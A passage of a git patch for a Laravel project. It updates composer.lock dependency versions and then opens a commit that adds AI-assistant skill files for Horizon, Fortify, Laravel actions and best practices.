+ "url": "https://api.github.com/repos/laravel/roster/zipball/5089de7615f72f78e831590ff9d0435fed0102bb",
+ "reference": "5089de7615f72f78e831590ff9d0435fed0102bb",
"shasum": ""
},
"require": {
@@ -13933,20 +13938,20 @@
"issues": "https://github.com/laravel/roster/issues",
"source": "https://github.com/laravel/roster"
},
- "time": "2026-02-17T17:33:35+00:00"
+ "time": "2026-03-05T07:58:43+00:00"
},
{
"name": "laravel/telescope",
- "version": "5.18.0",
+ "version": "v5.19.0",
"source": {
"type": "git",
"url": "https://github.com/laravel/telescope.git",
- "reference": "8bbc1d839317cef7106cabf028e407416e5a1dad"
+ "reference": "5e95df170d14e03dd74c4b744969cf01f67a050b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/telescope/zipball/8bbc1d839317cef7106cabf028e407416e5a1dad",
- "reference": "8bbc1d839317cef7106cabf028e407416e5a1dad",
+ "url": "https://api.github.com/repos/laravel/telescope/zipball/5e95df170d14e03dd74c4b744969cf01f67a050b",
+ "reference": "5e95df170d14e03dd74c4b744969cf01f67a050b",
"shasum": ""
},
"require": {
@@ -13954,8 +13959,8 @@
"laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0",
"laravel/sentinel": "^1.0",
"php": "^8.0",
- "symfony/console": "^5.3|^6.0|^7.0",
- "symfony/var-dumper": "^5.0|^6.0|^7.0"
+ "symfony/console": "^5.3|^6.0|^7.0|^8.0",
+ "symfony/var-dumper": "^5.0|^6.0|^7.0|^8.0"
},
"require-dev": {
"ext-gd": "*",
@@ -14000,26 +14005,26 @@
],
"support": {
"issues": "https://github.com/laravel/telescope/issues",
- "source": "https://github.com/laravel/telescope/tree/5.18.0"
+ "source": "https://github.com/laravel/telescope/tree/v5.19.0"
},
- "time": "2026-02-20T19:55:06+00:00"
+ "time": "2026-03-24T18:37:14+00:00"
},
{
"name": "league/uri-components",
- "version": "7.8.0",
+ "version": "7.8.1",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/uri-components.git",
- "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba"
+ "reference": "848ff9db2f0be06229d6034b7c2e33d41b4fd675"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/uri-components/zipball/8b5ffcebcc0842b76eb80964795bd56a8333b2ba",
- "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba",
+ "url": "https://api.github.com/repos/thephpleague/uri-components/zipball/848ff9db2f0be06229d6034b7c2e33d41b4fd675",
+ "reference": "848ff9db2f0be06229d6034b7c2e33d41b4fd675",
"shasum": ""
},
"require": {
- "league/uri": "^7.8",
+ "league/uri": "^7.8.1",
"php": "^8.1"
},
"suggest": {
@@ -14078,7 +14083,7 @@
"docs": "https://uri.thephpleague.com",
"forum": "https://thephpleague.slack.com",
"issues": "https://github.com/thephpleague/uri-src/issues",
- "source": "https://github.com/thephpleague/uri-components/tree/7.8.0"
+ "source": "https://github.com/thephpleague/uri-components/tree/7.8.1"
},
"funding": [
{
@@ -14086,7 +14091,7 @@
"type": "github"
}
],
- "time": "2026-01-14T17:24:56+00:00"
+ "time": "2026-03-15T20:22:25+00:00"
},
{
"name": "mockery/mockery",
@@ -14329,33 +14334,33 @@
},
{
"name": "pestphp/pest",
- "version": "v4.4.1",
+ "version": "v4.4.3",
"source": {
"type": "git",
"url": "https://github.com/pestphp/pest.git",
- "reference": "f96a1b27864b585b0b29b0ee7331176726f7e54a"
+ "reference": "e6ab897594312728ef2e32d586cb4f6780b1b495"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/pestphp/pest/zipball/f96a1b27864b585b0b29b0ee7331176726f7e54a",
- "reference": "f96a1b27864b585b0b29b0ee7331176726f7e54a",
+ "url": "https://api.github.com/repos/pestphp/pest/zipball/e6ab897594312728ef2e32d586cb4f6780b1b495",
+ "reference": "e6ab897594312728ef2e32d586cb4f6780b1b495",
"shasum": ""
},
"require": {
- "brianium/paratest": "^7.19.0",
- "nunomaduro/collision": "^8.9.0",
+ "brianium/paratest": "^7.19.2",
+ "nunomaduro/collision": "^8.9.1",
"nunomaduro/termwind": "^2.4.0",
"pestphp/pest-plugin": "^4.0.0",
"pestphp/pest-plugin-arch": "^4.0.0",
"pestphp/pest-plugin-mutate": "^4.0.1",
"pestphp/pest-plugin-profanity": "^4.2.1",
"php": "^8.3.0",
- "phpunit/phpunit": "^12.5.12",
+ "phpunit/phpunit": "^12.5.14",
"symfony/process": "^7.4.5|^8.0.5"
},
"conflict": {
"filp/whoops": "<2.18.3",
- "phpunit/phpunit": ">12.5.12",
+ "phpunit/phpunit": ">12.5.14",
"sebastian/exporter": "<7.0.0",
"webmozart/assert": "<1.11.0"
},
@@ -14363,7 +14368,7 @@
"pestphp/pest-dev-tools": "^4.1.0",
"pestphp/pest-plugin-browser": "^4.3.0",
"pestphp/pest-plugin-type-coverage": "^4.0.3",
- "psy/psysh": "^0.12.20"
+ "psy/psysh": "^0.12.21"
},
"bin": [
"bin/pest"
@@ -14429,7 +14434,7 @@
],
"support": {
"issues": "https://github.com/pestphp/pest/issues",
- "source": "https://github.com/pestphp/pest/tree/v4.4.1"
+ "source": "https://github.com/pestphp/pest/tree/v4.4.3"
},
"funding": [
{
@@ -14441,7 +14446,7 @@
"type": "github"
}
],
- "time": "2026-02-17T15:27:18+00:00"
+ "time": "2026-03-21T13:14:39+00:00"
},
{
"name": "pestphp/pest-plugin",
@@ -15058,11 +15063,11 @@
},
{
"name": "phpstan/phpstan",
- "version": "2.1.40",
+ "version": "2.1.44",
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/phpstan/phpstan/zipball/9b2c7aeb83a75d8680ea5e7c9b7fca88052b766b",
- "reference": "9b2c7aeb83a75d8680ea5e7c9b7fca88052b766b",
+ "url": "https://api.github.com/repos/phpstan/phpstan/zipball/4a88c083c668b2c364a425c9b3171b2d9ea5d218",
+ "reference": "4a88c083c668b2c364a425c9b3171b2d9ea5d218",
"shasum": ""
},
"require": {
@@ -15107,7 +15112,7 @@
"type": "github"
}
],
- "time": "2026-02-23T15:04:35+00:00"
+ "time": "2026-03-25T17:34:21+00:00"
},
{
"name": "phpunit/php-code-coverage",
@@ -15457,16 +15462,16 @@
},
{
"name": "phpunit/phpunit",
- "version": "12.5.12",
+ "version": "12.5.14",
"source": {
"type": "git",
"url": "https://github.com/sebastianbergmann/phpunit.git",
- "reference": "418e06b3b46b0d54bad749ff4907fc7dfb530199"
+ "reference": "47283cfd98d553edcb1353591f4e255dc1bb61f0"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/418e06b3b46b0d54bad749ff4907fc7dfb530199",
- "reference": "418e06b3b46b0d54bad749ff4907fc7dfb530199",
+ "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/47283cfd98d553edcb1353591f4e255dc1bb61f0",
+ "reference": "47283cfd98d553edcb1353591f4e255dc1bb61f0",
"shasum": ""
},
"require": {
@@ -15535,7 +15540,7 @@
"support": {
"issues": "https://github.com/sebastianbergmann/phpunit/issues",
"security": "https://github.com/sebastianbergmann/phpunit/security/policy",
- "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.12"
+ "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.14"
},
"funding": [
{
@@ -15559,25 +15564,25 @@
"type": "tidelift"
}
],
- "time": "2026-02-16T08:34:36+00:00"
+ "time": "2026-02-18T12:38:40+00:00"
},
{
"name": "rector/rector",
- "version": "2.3.8",
+ "version": "2.3.9",
"source": {
"type": "git",
"url": "https://github.com/rectorphp/rector.git",
- "reference": "bbd37aedd8df749916cffa2a947cfc4714d1ba2c"
+ "reference": "917842143fd9f5331a2adefc214b8d7143bd32c4"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/rectorphp/rector/zipball/bbd37aedd8df749916cffa2a947cfc4714d1ba2c",
- "reference": "bbd37aedd8df749916cffa2a947cfc4714d1ba2c",
+ "url": "https://api.github.com/repos/rectorphp/rector/zipball/917842143fd9f5331a2adefc214b8d7143bd32c4",
+ "reference": "917842143fd9f5331a2adefc214b8d7143bd32c4",
"shasum": ""
},
"require": {
"php": "^7.4|^8.0",
- "phpstan/phpstan": "^2.1.38"
+ "phpstan/phpstan": "^2.1.40"
},
"conflict": {
"rector/rector-doctrine": "*",
@@ -15611,7 +15616,7 @@
],
"support": {
"issues": "https://github.com/rectorphp/rector/issues",
- "source": "https://github.com/rectorphp/rector/tree/2.3.8"
+ "source": "https://github.com/rectorphp/rector/tree/2.3.9"
},
"funding": [
{
@@ -15619,7 +15624,7 @@
"type": "github"
}
],
- "time": "2026-02-22T09:45:50+00:00"
+ "time": "2026-03-16T09:43:55+00:00"
},
{
"name": "revolt/event-loop",
@@ -15981,16 +15986,16 @@
},
{
"name": "sebastian/environment",
- "version": "8.0.3",
+ "version": "8.0.4",
"source": {
"type": "git",
"url": "https://github.com/sebastianbergmann/environment.git",
- "reference": "24a711b5c916efc6d6e62aa65aa2ec98fef77f68"
+ "reference": "7b8842c2d8e85d0c3a5831236bf5869af6ab2a11"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/24a711b5c916efc6d6e62aa65aa2ec98fef77f68",
- "reference": "24a711b5c916efc6d6e62aa65aa2ec98fef77f68",
+ "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/7b8842c2d8e85d0c3a5831236bf5869af6ab2a11",
+ "reference": "7b8842c2d8e85d0c3a5831236bf5869af6ab2a11",
"shasum": ""
},
"require": {
@@ -16033,7 +16038,7 @@
"support": {
"issues": "https://github.com/sebastianbergmann/environment/issues",
"security": "https://github.com/sebastianbergmann/environment/security/policy",
- "source": "https://github.com/sebastianbergmann/environment/tree/8.0.3"
+ "source": "https://github.com/sebastianbergmann/environment/tree/8.0.4"
},
"funding": [
{
@@ -16053,7 +16058,7 @@
"type": "tidelift"
}
],
- "time": "2025-08-12T14:11:56+00:00"
+ "time": "2026-03-15T07:05:40+00:00"
},
{
"name": "sebastian/exporter",
@@ -16711,26 +16716,26 @@
},
{
"name": "spatie/flare-client-php",
- "version": "1.10.1",
+ "version": "1.11.0",
"source": {
"type": "git",
"url": "https://github.com/spatie/flare-client-php.git",
- "reference": "bf1716eb98bd689451b071548ae9e70738dce62f"
+ "reference": "fb3ffb946675dba811fbde9122224db2f84daca9"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/flare-client-php/zipball/bf1716eb98bd689451b071548ae9e70738dce62f",
- "reference": "bf1716eb98bd689451b071548ae9e70738dce62f",
+ "url": "https://api.github.com/repos/spatie/flare-client-php/zipball/fb3ffb946675dba811fbde9122224db2f84daca9",
+ "reference": "fb3ffb946675dba811fbde9122224db2f84daca9",
"shasum": ""
},
"require": {
- "illuminate/pipeline": "^8.0|^9.0|^10.0|^11.0|^12.0",
+ "illuminate/pipeline": "^8.0|^9.0|^10.0|^11.0|^12.0|^13.0",
"php": "^8.0",
"spatie/backtrace": "^1.6.1",
- "symfony/http-foundation": "^5.2|^6.0|^7.0",
- "symfony/mime": "^5.2|^6.0|^7.0",
- "symfony/process": "^5.2|^6.0|^7.0",
- "symfony/var-dumper": "^5.2|^6.0|^7.0"
+ "symfony/http-foundation": "^5.2|^6.0|^7.0|^8.0",
+ "symfony/mime": "^5.2|^6.0|^7.0|^8.0",
+ "symfony/process": "^5.2|^6.0|^7.0|^8.0",
+ "symfony/var-dumper": "^5.2|^6.0|^7.0|^8.0"
},
"require-dev": {
"dms/phpunit-arraysubset-asserts": "^0.5.0",
@@ -16768,7 +16773,7 @@
],
"support": {
"issues": "https://github.com/spatie/flare-client-php/issues",
- "source": "https://github.com/spatie/flare-client-php/tree/1.10.1"
+ "source": "https://github.com/spatie/flare-client-php/tree/1.11.0"
},
"funding": [
{
@@ -16776,41 +16781,44 @@
"type": "github"
}
],
- "time": "2025-02-14T13:42:06+00:00"
+ "time": "2026-03-17T08:06:16+00:00"
},
{
"name": "spatie/ignition",
- "version": "1.15.1",
+ "version": "1.16.0",
"source": {
"type": "git",
"url": "https://github.com/spatie/ignition.git",
- "reference": "31f314153020aee5af3537e507fef892ffbf8c85"
+ "reference": "b59385bb7aa24dae81bcc15850ebecfda7b40838"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/ignition/zipball/31f314153020aee5af3537e507fef892ffbf8c85",
- "reference": "31f314153020aee5af3537e507fef892ffbf8c85",
+ "url": "https://api.github.com/repos/spatie/ignition/zipball/b59385bb7aa24dae81bcc15850ebecfda7b40838",
+ "reference": "b59385bb7aa24dae81bcc15850ebecfda7b40838",
"shasum": ""
},
"require": {
"ext-json": "*",
"ext-mbstring": "*",
"php": "^8.0",
- "spatie/error-solutions": "^1.0",
- "spatie/flare-client-php": "^1.7",
- "symfony/console": "^5.4|^6.0|^7.0",
- "symfony/var-dumper": "^5.4|^6.0|^7.0"
+ "spatie/backtrace": "^1.7.1",
+ "spatie/error-solutions": "^1.1.2",
+ "spatie/flare-client-php": "^1.9",
+ "symfony/console": "^5.4.42|^6.0|^7.0|^8.0",
+ "symfony/http-foundation": "^5.4.42|^6.0|^7.0|^8.0",
+ "symfony/mime": "^5.4.42|^6.0|^7.0|^8.0",
+ "symfony/var-dumper": "^5.4.42|^6.0|^7.0|^8.0"
},
"require-dev": {
- "illuminate/cache": "^9.52|^10.0|^11.0|^12.0",
+ "illuminate/cache": "^9.52|^10.0|^11.0|^12.0|^13.0",
"mockery/mockery": "^1.4",
- "pestphp/pest": "^1.20|^2.0",
+ "pestphp/pest": "^1.20|^2.0|^3.0",
"phpstan/extension-installer": "^1.1",
"phpstan/phpstan-deprecation-rules": "^1.0",
"phpstan/phpstan-phpunit": "^1.0",
"psr/simple-cache-implementation": "*",
- "symfony/cache": "^5.4|^6.0|^7.0",
- "symfony/process": "^5.4|^6.0|^7.0",
+ "symfony/cache": "^5.4.38|^6.0|^7.0|^8.0",
+ "symfony/process": "^5.4.35|^6.0|^7.0|^8.0",
"vlucas/phpdotenv": "^5.5"
},
"suggest": {
@@ -16859,20 +16867,20 @@
"type": "github"
}
],
- "time": "2025-02-21T14:31:39+00:00"
+ "time": "2026-03-17T10:51:08+00:00"
},
{
"name": "spatie/laravel-ignition",
- "version": "2.11.0",
+ "version": "2.12.0",
"source": {
"type": "git",
"url": "https://github.com/spatie/laravel-ignition.git",
- "reference": "11f38d1ff7abc583a61c96bf3c1b03610a69cccd"
+ "reference": "45b3b6e1e73fc161cba2149972698644b99594ee"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/11f38d1ff7abc583a61c96bf3c1b03610a69cccd",
- "reference": "11f38d1ff7abc583a61c96bf3c1b03610a69cccd",
+ "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/45b3b6e1e73fc161cba2149972698644b99594ee",
+ "reference": "45b3b6e1e73fc161cba2149972698644b99594ee",
"shasum": ""
},
"require": {
@@ -16882,7 +16890,7 @@
"illuminate/support": "^11.0|^12.0|^13.0",
"nesbot/carbon": "^2.72|^3.0",
"php": "^8.2",
- "spatie/ignition": "^1.15.1",
+ "spatie/ignition": "^1.16",
"symfony/console": "^7.4|^8.0",
"symfony/var-dumper": "^7.4|^8.0"
},
@@ -16951,7 +16959,7 @@
"type": "github"
}
],
- "time": "2026-02-22T19:14:05+00:00"
+ "time": "2026-03-17T12:20:04+00:00"
},
{
"name": "staabm/side-effects-detector",
@@ -17007,16 +17015,16 @@
},
{
"name": "symfony/http-client",
- "version": "v7.4.6",
+ "version": "v7.4.7",
"source": {
"type": "git",
"url": "https://github.com/symfony/http-client.git",
- "reference": "2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154"
+ "reference": "1010624285470eb60e88ed10035102c75b4ea6af"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/symfony/http-client/zipball/2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154",
- "reference": "2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154",
+ "url": "https://api.github.com/repos/symfony/http-client/zipball/1010624285470eb60e88ed10035102c75b4ea6af",
+ "reference": "1010624285470eb60e88ed10035102c75b4ea6af",
"shasum": ""
},
"require": {
@@ -17084,7 +17092,7 @@
"http"
],
"support": {
- "source": "https://github.com/symfony/http-client/tree/v7.4.6"
+ "source": "https://github.com/symfony/http-client/tree/v7.4.7"
},
"funding": [
{
@@ -17104,7 +17112,7 @@
"type": "tidelift"
}
],
- "time": "2026-02-18T09:46:18+00:00"
+ "time": "2026-03-05T11:16:58+00:00"
},
{
"name": "symfony/http-client-contracts",
From 3470f8b2a68a3b5a5342d2359e85770bba498f55 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:22:09 +0100
Subject: [PATCH 067/168] add new skills
---
.agents/skills/configuring-horizon/SKILL.md | 85 ++++
.../configuring-horizon/references/metrics.md | 21 +
.../references/notifications.md | 21 +
.../references/supervisors.md | 27 ++
.../configuring-horizon/references/tags.md | 21 +
.agents/skills/fortify-development/SKILL.md | 131 ++++++
.agents/skills/laravel-actions/SKILL.md | 302 +++++++++++++
.../laravel-actions/references/command.md | 160 +++++++
.../laravel-actions/references/controller.md | 339 ++++++++++++++
.../skills/laravel-actions/references/job.md | 425 ++++++++++++++++++
.../laravel-actions/references/listener.md | 81 ++++
.../laravel-actions/references/object.md | 118 +++++
.../references/testing-fakes.md | 160 +++++++
.../references/troubleshooting.md | 33 ++
.../references/with-attributes.md | 189 ++++++++
.../skills/laravel-best-practices/SKILL.md | 190 ++++++++
.../rules/advanced-queries.md | 106 +++++
.../rules/architecture.md | 202 +++++++++
.../rules/blade-views.md | 36 ++
.../laravel-best-practices/rules/caching.md | 70 +++
.../rules/collections.md | 44 ++
.../laravel-best-practices/rules/config.md | 73 +++
.../rules/db-performance.md | 192 ++++++++
.../laravel-best-practices/rules/eloquent.md | 148 ++++++
.../rules/error-handling.md | 72 +++
.../rules/events-notifications.md | 48 ++
.../rules/http-client.md | 160 +++++++
.../laravel-best-practices/rules/mail.md | 27 ++
.../rules/migrations.md | 121 +++++
.../rules/queue-jobs.md | 146 ++++++
.../laravel-best-practices/rules/routing.md | 98 ++++
.../rules/scheduling.md | 39 ++
.../laravel-best-practices/rules/security.md | 198 ++++++++
.../laravel-best-practices/rules/style.md | Bin 0 -> 4443 bytes
.../laravel-best-practices/rules/testing.md | 43 ++
.../rules/validation.md | 75 ++++
.agents/skills/socialite-development/SKILL.md | 80 ++++
.claude/skills/configuring-horizon/SKILL.md | 85 ++++
.../configuring-horizon/references/metrics.md | 21 +
.../references/notifications.md | 21 +
.../references/supervisors.md | 27 ++
.../configuring-horizon/references/tags.md | 21 +
.claude/skills/fortify-development/SKILL.md | 131 ++++++
.claude/skills/laravel-actions/SKILL.md | 302 +++++++++++++
.../laravel-actions/references/command.md | 160 +++++++
.../laravel-actions/references/controller.md | 339 ++++++++++++++
.../skills/laravel-actions/references/job.md | 425 ++++++++++++++++++
.../laravel-actions/references/listener.md | 81 ++++
.../laravel-actions/references/object.md | 118 +++++
.../references/testing-fakes.md | 160 +++++++
.../references/troubleshooting.md | 33 ++
.../references/with-attributes.md | 189 ++++++++
.../skills/laravel-best-practices/SKILL.md | 190 ++++++++
.../rules/advanced-queries.md | 106 +++++
.../rules/architecture.md | 202 +++++++++
.../rules/blade-views.md | 36 ++
.../laravel-best-practices/rules/caching.md | 70 +++
.../rules/collections.md | 44 ++
.../laravel-best-practices/rules/config.md | 73 +++
.../rules/db-performance.md | 192 ++++++++
.../laravel-best-practices/rules/eloquent.md | 148 ++++++
.../rules/error-handling.md | 72 +++
.../rules/events-notifications.md | 48 ++
.../rules/http-client.md | 160 +++++++
.../laravel-best-practices/rules/mail.md | 27 ++
.../rules/migrations.md | 121 +++++
.../rules/queue-jobs.md | 146 ++++++
.../laravel-best-practices/rules/routing.md | 98 ++++
.../rules/scheduling.md | 39 ++
.../laravel-best-practices/rules/security.md | 198 ++++++++
.../laravel-best-practices/rules/style.md | Bin 0 -> 4443 bytes
.../laravel-best-practices/rules/testing.md | 43 ++
.../rules/validation.md | 75 ++++
.claude/skills/socialite-development/SKILL.md | 80 ++++
.cursor/skills/configuring-horizon/SKILL.md | 85 ++++
.../configuring-horizon/references/metrics.md | 21 +
.../references/notifications.md | 21 +
.../references/supervisors.md | 27 ++
.../configuring-horizon/references/tags.md | 21 +
.cursor/skills/fortify-development/SKILL.md | 131 ++++++
.cursor/skills/laravel-actions/SKILL.md | 302 +++++++++++++
.../laravel-actions/references/command.md | 160 +++++++
.../laravel-actions/references/controller.md | 339 ++++++++++++++
.../skills/laravel-actions/references/job.md | 425 ++++++++++++++++++
.../laravel-actions/references/listener.md | 81 ++++
.../laravel-actions/references/object.md | 118 +++++
.../references/testing-fakes.md | 160 +++++++
.../references/troubleshooting.md | 33 ++
.../references/with-attributes.md | 189 ++++++++
.../skills/laravel-best-practices/SKILL.md | 190 ++++++++
.../rules/advanced-queries.md | 106 +++++
.../rules/architecture.md | 202 +++++++++
.../rules/blade-views.md | 36 ++
.../laravel-best-practices/rules/caching.md | 70 +++
.../rules/collections.md | 44 ++
.../laravel-best-practices/rules/config.md | 73 +++
.../rules/db-performance.md | 192 ++++++++
.../laravel-best-practices/rules/eloquent.md | 148 ++++++
.../rules/error-handling.md | 72 +++
.../rules/events-notifications.md | 48 ++
.../rules/http-client.md | 160 +++++++
.../laravel-best-practices/rules/mail.md | 27 ++
.../rules/migrations.md | 121 +++++
.../rules/queue-jobs.md | 146 ++++++
.../laravel-best-practices/rules/routing.md | 98 ++++
.../rules/scheduling.md | 39 ++
.../laravel-best-practices/rules/security.md | 198 ++++++++
.../laravel-best-practices/rules/style.md | Bin 0 -> 4443 bytes
.../laravel-best-practices/rules/testing.md | 43 ++
.../rules/validation.md | 75 ++++
.cursor/skills/socialite-development/SKILL.md | 80 ++++
111 files changed, 12843 insertions(+)
create mode 100644 .agents/skills/configuring-horizon/SKILL.md
create mode 100644 .agents/skills/configuring-horizon/references/metrics.md
create mode 100644 .agents/skills/configuring-horizon/references/notifications.md
create mode 100644 .agents/skills/configuring-horizon/references/supervisors.md
create mode 100644 .agents/skills/configuring-horizon/references/tags.md
create mode 100644 .agents/skills/fortify-development/SKILL.md
create mode 100644 .agents/skills/laravel-actions/SKILL.md
create mode 100644 .agents/skills/laravel-actions/references/command.md
create mode 100644 .agents/skills/laravel-actions/references/controller.md
create mode 100644 .agents/skills/laravel-actions/references/job.md
create mode 100644 .agents/skills/laravel-actions/references/listener.md
create mode 100644 .agents/skills/laravel-actions/references/object.md
create mode 100644 .agents/skills/laravel-actions/references/testing-fakes.md
create mode 100644 .agents/skills/laravel-actions/references/troubleshooting.md
create mode 100644 .agents/skills/laravel-actions/references/with-attributes.md
create mode 100644 .agents/skills/laravel-best-practices/SKILL.md
create mode 100644 .agents/skills/laravel-best-practices/rules/advanced-queries.md
create mode 100644 .agents/skills/laravel-best-practices/rules/architecture.md
create mode 100644 .agents/skills/laravel-best-practices/rules/blade-views.md
create mode 100644 .agents/skills/laravel-best-practices/rules/caching.md
create mode 100644 .agents/skills/laravel-best-practices/rules/collections.md
create mode 100644 .agents/skills/laravel-best-practices/rules/config.md
create mode 100644 .agents/skills/laravel-best-practices/rules/db-performance.md
create mode 100644 .agents/skills/laravel-best-practices/rules/eloquent.md
create mode 100644 .agents/skills/laravel-best-practices/rules/error-handling.md
create mode 100644 .agents/skills/laravel-best-practices/rules/events-notifications.md
create mode 100644 .agents/skills/laravel-best-practices/rules/http-client.md
create mode 100644 .agents/skills/laravel-best-practices/rules/mail.md
create mode 100644 .agents/skills/laravel-best-practices/rules/migrations.md
create mode 100644 .agents/skills/laravel-best-practices/rules/queue-jobs.md
create mode 100644 .agents/skills/laravel-best-practices/rules/routing.md
create mode 100644 .agents/skills/laravel-best-practices/rules/scheduling.md
create mode 100644 .agents/skills/laravel-best-practices/rules/security.md
create mode 100644 .agents/skills/laravel-best-practices/rules/style.md
create mode 100644 .agents/skills/laravel-best-practices/rules/testing.md
create mode 100644 .agents/skills/laravel-best-practices/rules/validation.md
create mode 100644 .agents/skills/socialite-development/SKILL.md
create mode 100644 .claude/skills/configuring-horizon/SKILL.md
create mode 100644 .claude/skills/configuring-horizon/references/metrics.md
create mode 100644 .claude/skills/configuring-horizon/references/notifications.md
create mode 100644 .claude/skills/configuring-horizon/references/supervisors.md
create mode 100644 .claude/skills/configuring-horizon/references/tags.md
create mode 100644 .claude/skills/fortify-development/SKILL.md
create mode 100644 .claude/skills/laravel-actions/SKILL.md
create mode 100644 .claude/skills/laravel-actions/references/command.md
create mode 100644 .claude/skills/laravel-actions/references/controller.md
create mode 100644 .claude/skills/laravel-actions/references/job.md
create mode 100644 .claude/skills/laravel-actions/references/listener.md
create mode 100644 .claude/skills/laravel-actions/references/object.md
create mode 100644 .claude/skills/laravel-actions/references/testing-fakes.md
create mode 100644 .claude/skills/laravel-actions/references/troubleshooting.md
create mode 100644 .claude/skills/laravel-actions/references/with-attributes.md
create mode 100644 .claude/skills/laravel-best-practices/SKILL.md
create mode 100644 .claude/skills/laravel-best-practices/rules/advanced-queries.md
create mode 100644 .claude/skills/laravel-best-practices/rules/architecture.md
create mode 100644 .claude/skills/laravel-best-practices/rules/blade-views.md
create mode 100644 .claude/skills/laravel-best-practices/rules/caching.md
create mode 100644 .claude/skills/laravel-best-practices/rules/collections.md
create mode 100644 .claude/skills/laravel-best-practices/rules/config.md
create mode 100644 .claude/skills/laravel-best-practices/rules/db-performance.md
create mode 100644 .claude/skills/laravel-best-practices/rules/eloquent.md
create mode 100644 .claude/skills/laravel-best-practices/rules/error-handling.md
create mode 100644 .claude/skills/laravel-best-practices/rules/events-notifications.md
create mode 100644 .claude/skills/laravel-best-practices/rules/http-client.md
create mode 100644 .claude/skills/laravel-best-practices/rules/mail.md
create mode 100644 .claude/skills/laravel-best-practices/rules/migrations.md
create mode 100644 .claude/skills/laravel-best-practices/rules/queue-jobs.md
create mode 100644 .claude/skills/laravel-best-practices/rules/routing.md
create mode 100644 .claude/skills/laravel-best-practices/rules/scheduling.md
create mode 100644 .claude/skills/laravel-best-practices/rules/security.md
create mode 100644 .claude/skills/laravel-best-practices/rules/style.md
create mode 100644 .claude/skills/laravel-best-practices/rules/testing.md
create mode 100644 .claude/skills/laravel-best-practices/rules/validation.md
create mode 100644 .claude/skills/socialite-development/SKILL.md
create mode 100644 .cursor/skills/configuring-horizon/SKILL.md
create mode 100644 .cursor/skills/configuring-horizon/references/metrics.md
create mode 100644 .cursor/skills/configuring-horizon/references/notifications.md
create mode 100644 .cursor/skills/configuring-horizon/references/supervisors.md
create mode 100644 .cursor/skills/configuring-horizon/references/tags.md
create mode 100644 .cursor/skills/fortify-development/SKILL.md
create mode 100644 .cursor/skills/laravel-actions/SKILL.md
create mode 100644 .cursor/skills/laravel-actions/references/command.md
create mode 100644 .cursor/skills/laravel-actions/references/controller.md
create mode 100644 .cursor/skills/laravel-actions/references/job.md
create mode 100644 .cursor/skills/laravel-actions/references/listener.md
create mode 100644 .cursor/skills/laravel-actions/references/object.md
create mode 100644 .cursor/skills/laravel-actions/references/testing-fakes.md
create mode 100644 .cursor/skills/laravel-actions/references/troubleshooting.md
create mode 100644 .cursor/skills/laravel-actions/references/with-attributes.md
create mode 100644 .cursor/skills/laravel-best-practices/SKILL.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/advanced-queries.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/architecture.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/blade-views.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/caching.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/collections.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/config.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/db-performance.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/eloquent.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/error-handling.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/events-notifications.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/http-client.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/mail.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/migrations.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/queue-jobs.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/routing.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/scheduling.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/security.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/style.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/testing.md
create mode 100644 .cursor/skills/laravel-best-practices/rules/validation.md
create mode 100644 .cursor/skills/socialite-development/SKILL.md
diff --git a/.agents/skills/configuring-horizon/SKILL.md b/.agents/skills/configuring-horizon/SKILL.md
new file mode 100644
index 000000000..bed1e74c0
--- /dev/null
+++ b/.agents/skills/configuring-horizon/SKILL.md
@@ -0,0 +1,85 @@
+---
+name: configuring-horizon
+description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Horizon Configuration
+
+## Documentation
+
